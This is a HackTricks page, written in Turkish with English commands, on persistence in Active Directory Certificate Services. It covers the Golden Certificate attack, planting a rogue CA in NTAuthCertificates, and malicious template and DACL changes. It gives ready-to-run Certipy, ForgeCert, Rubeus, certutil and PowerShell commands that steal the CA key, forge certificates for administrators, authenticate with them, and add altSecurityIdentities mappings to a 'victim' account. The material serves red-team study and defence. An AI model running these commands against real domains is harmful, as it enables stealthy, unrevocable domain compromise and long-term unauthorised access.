AD CS Domain Persistence
Reading time: 7 minutes
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
Bu, https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf adresinde paylaşılan domain persistence tekniklerinin bir özetidir. Daha fazla ayrıntı için kontrol edin.
Forging Certificates with Stolen CA Certificates (Golden Certificate) - DPERSIST1
Bir sertifikanın CA sertifikası olduğu nasıl anlaşılır?
Bir sertifikanın CA sertifikası olduğu şu koşullar sağlandığında belirlenebilir:
- Sertifika CA sunucusunda depolanır ve özel anahtarı makinenin DPAPI'si tarafından veya işletim sistemi destekliyorsa TPM/HSM gibi donanım tarafından korunur.
- Sertifikanın Issuer ve Subject alanlarının her ikisi de CA'nın distinguished name ile eşleşir.
- "CA Version" uzantısı yalnızca CA sertifikalarında bulunur.
- Sertifika Extended Key Usage (EKU) alanlarına sahip değildir.
Bu sertifikanın özel anahtarını çıkarmak için CA sunucusundaki certsrv.msc aracı yerleşik GUI üzerinden desteklenen yöntemdir. Bununla birlikte, bu sertifika sistemde depolanan diğerlerinden farklı değildir; bu nedenle THEFT2 technique gibi yöntemler çıkarma için uygulanabilir.
Sertifika ve özel anahtar ayrıca Certipy kullanılarak aşağıdaki komutla elde edilebilir:
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
CA sertifikası ve özel anahtar .pfx formatında elde edildikten sonra, ForgeCert gibi araçlar geçerli sertifikalar oluşturmak için kullanılabilir:
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
warning
Sertifika sahteciliği hedefi olan kullanıcının sürecin başarılı olabilmesi için Active Directory'de aktif ve kimlik doğrulaması yapabilecek durumda olması gerekir. krbtgt gibi özel hesaplar için sertifika sahteleme etkisizdir.
Bu sahte sertifika belirtilen bitiş tarihine kadar ve kök CA sertifikası geçerli olduğu sürece (genellikle 5 ila 10+ yıl) geçerli olacaktır. Ayrıca makinelere de geçerlidir, bu yüzden S4U2Self ile birleştiğinde, bir saldırgan CA sertifikası geçerli olduğu sürece herhangi bir etki alanı makinesinde kalıcılığı sürdürebilir.
Ayrıca, bu yöntemle oluşturulan sertifikalar CA bunların farkında olmadığı için iptal edilemez.
Güçlü Sertifika Eşleme Zorlaması (2025+) Altında Çalışma
11 Şubat 2025'ten itibaren (KB5014754 dağıtımından sonra), domain controllers sertifika eşlemeleri için varsayılan olarak Full Enforcement kullanır. Pratikte bu, sahte sertifikalarınızın ya:
- Hedef hesaba güçlü bir bağ içermesi (örneğin, the SID security extension), veya
- Hedef nesnenin
altSecurityIdentitiesözniteliğinde güçlü, açık bir eşleme ile eşleştirilmiş olması gerektiği anlamına gelir.
Kalıcılık için güvenilir bir yaklaşım, çalınmış Enterprise CA'ya zincirlenmiş sahte bir sertifika oluşturmak ve ardından hedef principal'e güçlü, açık bir eşleme eklemektir:
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
Notlar
- Eğer SID security extension içeren sahte sertifikalar oluşturabiliyorsanız, bunlar Full Enforcement altında bile örtük olarak eşlenecektir. Aksi takdirde, açık güçlü eşlemeleri tercih edin. Daha fazla bilgi için account-persistence sayfasına bakın.
- İptal (revocation) savunmacılara burada yardımcı olmaz: sahte sertifikalar CA veritabanında bilinmediği için iptal edilemez.
Trusting Rogue CA Certificates - DPERSIST2
NTAuthCertificates nesnesi, Active Directory (AD) tarafından kullanılan cacertificate özniteliği içinde bir veya daha fazla CA certificates içerecek şekilde tanımlanmıştır. Doğrulama sürecinde, domain controller, kimlik doğrulayan certificate'in Issuer alanında belirtilen CA specified ile eşleşen bir giriş olup olmadığını NTAuthCertificates nesnesinde kontrol eder. Eşleşme bulunursa kimlik doğrulama devam eder.
Bir saldırgan, bu AD nesnesi üzerinde kontrole sahipse, NTAuthCertificates nesnesine self-signed bir CA sertifikası ekleyebilir. Normalde, yalnızca Enterprise Admin grubunun üyeleri ile forest root’s domain içindeki Domain Admins veya Administrators bu nesneyi değiştirme iznine sahiptir. NTAuthCertificates nesnesini certutil.exe ile certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA komutunu kullanarak veya PKI Health Tool aracını kullanarak düzenleyebilirler.
Additional helpful commands for this technique:
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>
# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
Bu yetenek, ForgeCert kullanılarak sertifikaların dinamik olarak oluşturulmasını içeren daha önce açıklanan yöntemle birlikte kullanıldığında özellikle önemlidir.
Post-2025 eşleme dikkate alınması: NTAuth içine sahte bir CA yerleştirmek yalnızca yayımlayan CA'ya güven oluşturur. DC'ler Full Enforcement modunda olduğunda logon için leaf sertifikalarını kullanmak için, leaf ya SID güvenlik uzantısını içermeli ya da hedef nesnede açık ve güçlü bir eşleme olmalıdır (örneğin Issuer+Serial,
altSecurityIdentitiesiçinde). Bakınız AD CS Account Persistence.
Kötü Amaçlı Yanlış Yapılandırma - DPERSIST3
AD CS bileşenlerinin güvenlik tanımlayıcı (security descriptor) değişiklikleri aracılığıyla kalıcılık için fırsatlar bolca vardır. "Domain Escalation" bölümünde tanımlanan değişiklikler, yükseltilmiş erişime sahip bir saldırgan tarafından kötü amaçlı olarak uygulanabilir. Buna aşağıdaki gibi hassas bileşenlere "kontrol hakları" (ör. WriteOwner/WriteDACL/vb.) eklenmesi dahildir:
- CA server’ın AD bilgisayar nesnesi
- CA server’ın RPC/DCOM sunucusu
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>içindeki herhangi bir alt AD nesnesi veya konteyner (örneğin, Certificate Templates konteyneri, Certification Authorities konteyneri, NTAuthCertificates nesnesi vb.)- AD CS'yi kontrol etmesi için devredilmiş AD grupları (örneğin, varsayılan Cert Publishers grubunun üyeleri ve benzerleri)
Kötü amaçlı bir uygulama örneği, domainde yükseltilmiş izinlere sahip bir saldırganın varsayılan User sertifika şablonuna WriteOwner iznini eklemesi ve iznin sahibi olarak kendisini belirlemesidir. Bunu kötüye kullanmak için saldırgan önce User şablonunun sahipliğini kendisine geçirir. Ardından şablonda mspki-certificate-name-flag değeri 1 olarak ayarlanır ve böylece ENROLLEE_SUPPLIES_SUBJECT etkinleştirilir; bu, bir kullanıcının istekte Subject Alternative Name sağlamasına izin verir. Sonrasında saldırgan, şablon kullanarak kayıt olurken alternatif isim olarak bir etki alanı yöneticisi adını seçebilir ve alınan sertifikayı DA olarak kimlik doğrulama için kullanabilir.
Saldırganların uzun vadeli domain kalıcılığı için ayarlayabilecekleri pratik kontroller (tam ayrıntılar ve tespit için bkz. AD CS Domain Escalation):
- İsteklerden SAN'a izin veren CA politika bayrakları (ör.
EDITF_ATTRIBUTESUBJECTALTNAME2etkinleştirmek). Bu, ESC1-benzeri yolların kullanılabilir kalmasını sağlar. - Kimlik doğrulayabilen issuance'a izin veren şablon DACL veya ayarları (ör. Client Authentication EKU eklemek,
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT'u etkinleştirmek). - Savunucular temizlemeye çalışsa bile sahte yayımlayıcıları sürekli yeniden tanıtmak için
NTAuthCertificatesnesnesini veya CA konteynerlerini kontrol etmek.
tip
KB5014754 sonrası sertleştirilmiş ortamlarda, bu yanlış yapılandırmaları açık güçlü eşlemelerle (altSecurityIdentities) eşleştirmek, yayımlanan veya sahtelenen sertifikalarınızın DC'ler güçlü eşlemeyi uygulasalar bile kullanılabilir kalmasını sağlar.
References
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference
- 0xdf – HTB: Certificate (SeManageVolumePrivilege to exfil CA keys → Golden Certificate)
tip
AWS Hacking'i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın:
HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.
HackTricks